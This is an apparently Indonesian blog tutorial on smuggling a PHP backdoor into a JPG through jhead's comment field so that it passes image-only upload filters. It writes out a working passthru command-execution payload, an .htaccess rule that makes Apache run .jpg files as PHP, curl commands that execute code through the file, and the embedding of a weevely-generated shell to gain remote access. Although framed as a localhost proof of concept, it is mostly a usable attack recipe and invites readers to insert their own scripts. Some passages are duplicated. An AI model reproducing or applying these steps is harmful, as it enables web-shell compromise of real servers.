Sering para pentester aplikasi web
mengalami kesulitan pada saat melakukan injection yaitu saat memasukan
backdoor melalui form-form, entah pada saat di dalam admin page atau
pada form-form upload lainnya karena adanya filter yang hanya mengallowed file tertentu untuk di upload
ke dalam server target. Yang di allowed dengan filterisasi ekstensi ,
biasanya hanya tipe-tipe file murni image antara lain .jpg. Sedangkan
rata2 backdoor adalah berekstensi PHP. Yang jadi persoalan adalah Bagaimana kita bisa membuat file jpg ( gambar ) namun memiliki abiliti ( kemampuan ) menyimpan dan mengesekusi php script.
ok langsung saja … pertama kita cari dulu file gambar .. ( extensi jpg, png ) hmm mbah google ajah.. ane cari gambar dengan keyword “perek” kwwkkwkw ternyata ane langsung memilih gambar yang lumayan seksi nih… biar sekalian ahhh hihihihih…
Ok .. ini spesifikasi percobaanok langsung saja … pertama kita cari dulu file gambar .. ( extensi jpg, png ) hmm mbah google ajah.. ane cari gambar dengan keyword “perek” kwwkkwkw ternyata ane langsung memilih gambar yang lumayan seksi nih… biar sekalian ahhh hihihihih…
1. Os yang ane gunakan : backtrack 5 R1 KDE 32 bit
2. kernel : root@eichel:~# uname -a | Linux eichel 2.6.39.4 #1 SMP Thu Aug 18 13:38:02 NZST 2011 i686 GNU/Linux
3. Target : localhost ( 127.0.0.1 )
4. Webserv : apache2
2. kernel : root@eichel:~# uname -a | Linux eichel 2.6.39.4 #1 SMP Thu Aug 18 13:38:02 NZST 2011 i686 GNU/Linux
3. Target : localhost ( 127.0.0.1 )
4. Webserv : apache2
#note-1 :
Target ane ini hanya ke localhost ane saja … coz ini hanya sebagai contoh percobaan ..and ane bukan depeser yang nyari2 celah sana-sini ( keenakan ntar pentest gratis ).
Target ane ini hanya ke localhost ane saja … coz ini hanya sebagai contoh percobaan ..and ane bukan depeser yang nyari2 celah sana-sini ( keenakan ntar pentest gratis ).
Yang di butuhkan
1. jhead ( install dengan melakukan apt-get install jhead )
2. curl ( sudah terinstall di backtrack 5 )
3. weevely.py ( sama sudah ada juga,.. huhauhua viva backtrackers ! )
Ok sekarang kita coba lakukan percobaan …1. jhead ( install dengan melakukan apt-get install jhead )
2. curl ( sudah terinstall di backtrack 5 )
3. weevely.py ( sama sudah ada juga,.. huhauhua viva backtrackers ! )
1. Menyisipkan cmd backdoor php dalam file jpg
Ok sebagai percontohan percobaan ane coba menyisipkan php script pada file yang tadi sudah ane download sembarang dari google, “perek.jpg“, kita gunakan jhead. Kita periksa dulu mending file tersebut jgn2 sudah ada script atau comment.
yup ternyata ada tuh .. kita remove semua script atau comment yang ada di pic tersebut ..dengan opsi -purejpg
Ok setelah di murnikan
, kita akan memasukan script kita kedalam gambar tersebut ., hmm kita
gunakan testing terlebih dahulu .. kita masukan script di bawah ini
dan jika sukses jhead akan memberitahukan kepada anda …<?php passthru($_POST['cmd']); __halt_compiler();
.Terus ada baiknya cek kembali dengan “jhead”
Ok gambar tadi ( perek.jpg) yang telah di masukan script php tadi saya masukan kedalam localhost di /var/www ,hmm yaitu didalam folder tesbd…
root@eichel:~# mkdir /var/www/tesbd root@eichel:~# mv perek.jpg /var/www/tesbd/Ane buat file .httaccess pada direktori tesbd agar bisa “perek.jpg” diesekusi curl …Intinya sebenarnya hanya agar percobaan ini bisa sukses dengan mudah, jadi file httaccess akan mengallowed pemanggilan fungsi php tanpa harus memakai ekstensi php.
root@eichel:~# cd /var/www/tesbd/ root@eichel:/var/www/tesbd# echo "AddType application/x-httpd-php .jpg" >> .htaccess
Perhatikan untuk contoh kasus script yang ane masukin ini hanya berlaku kalau modul mime pada apache2 dalam keadaan aktif. dan minimal pada direktori tersetting AllowOverride FileInfo
2. Backdoor akses
Ok kemudian ane coba akses dengan “curl” .. sukses ..Perhatikan gambar di atas , bahwa perintah pada opsi -d di atas sukses di esekusi cmd=id .. maka file backdoor akan menampilkan uid , gid akses. Coba kita tes perintah lain. Misalnya perintah “ls” dan “whoami“
3. Back-connection
Hal ini bisa dikembangkan sampai kita mendapatkan akses backconnect shell pada mesin target. Ok untuk taraf ini saya pakai weevely.py. tool ini dapat kita temukan pada direktori pentest pada backtrack 5root@eichel:/pentest/backdoors/web/weevely#Ok kita buat backdoor dengan weevely.py .. syntaxnya
weevely generate <password> <output_path>jadi ane buat backdoor dengan nama lohan.php serta password = admin
nah nantinya pada direktori yang sama anda akan mendapatkan sebuah file yang telah anda ciptakan barusan, yaitu lohan.php. buka lohan.php dengan editor anda kemudian copy seluruh isi script phpnya. Seperti pada langkah pertama tadi , ketika kita sukses memasukan scirpt passthru pada langkah awal tadi , kita masukan isi script dari lohan.php ke file gambar tadi …ane copy perek.jpg ke perek1.jpg biar beda deh …
root@eichel:~# cp perek.jpg perek1.jpg root@eichel:~# kwrite /pentest/backdoors/web/weevely/lohan.php root@eichel:~# jhead -purejpg perek1.jpg Modified: perek1.jpg root@eichel:~# jhead -ce perek1.jpg Modified: perek1.jpg
Nah dengan menggunakan jhead ane berhasil memasukan isi script dari lohan.php ( hasil dari autogenerate weevely.py ) ke dalam file gambar baru yaitu perek1.jpg. Kemudian file perek1.jpg saya coba upload ke dalam localhost. Nah kembali lagi ke direktory weevely.py lalu mengakses file perek1.jpg .. dengan catatan file perek1.jpg sudah berada di dalam localhost
wuiihh kita mendapatkan akses untuk masuk ke shell komputer korban yang diakses dari sebuah file berekstensi JPG!!!
ok
ini hanya sekedar contoh saja .. ane hanya ingin memberikan poc bahwa
script php dapat di inject / disisipkan dalam file yang lain ..
contohnya file jpg ( image file ). tinggal anda masukan script2 buatan
anda yang mungkin lebih maknyos dan lebih banyak variasinya.. use your
skill !!!
Kita buka file php yang telah kita inject sciript php… hmmm tampaknya masih seperti file jpg biasa saja
viva la backtrack
Tidak ada komentar:
Posting Komentar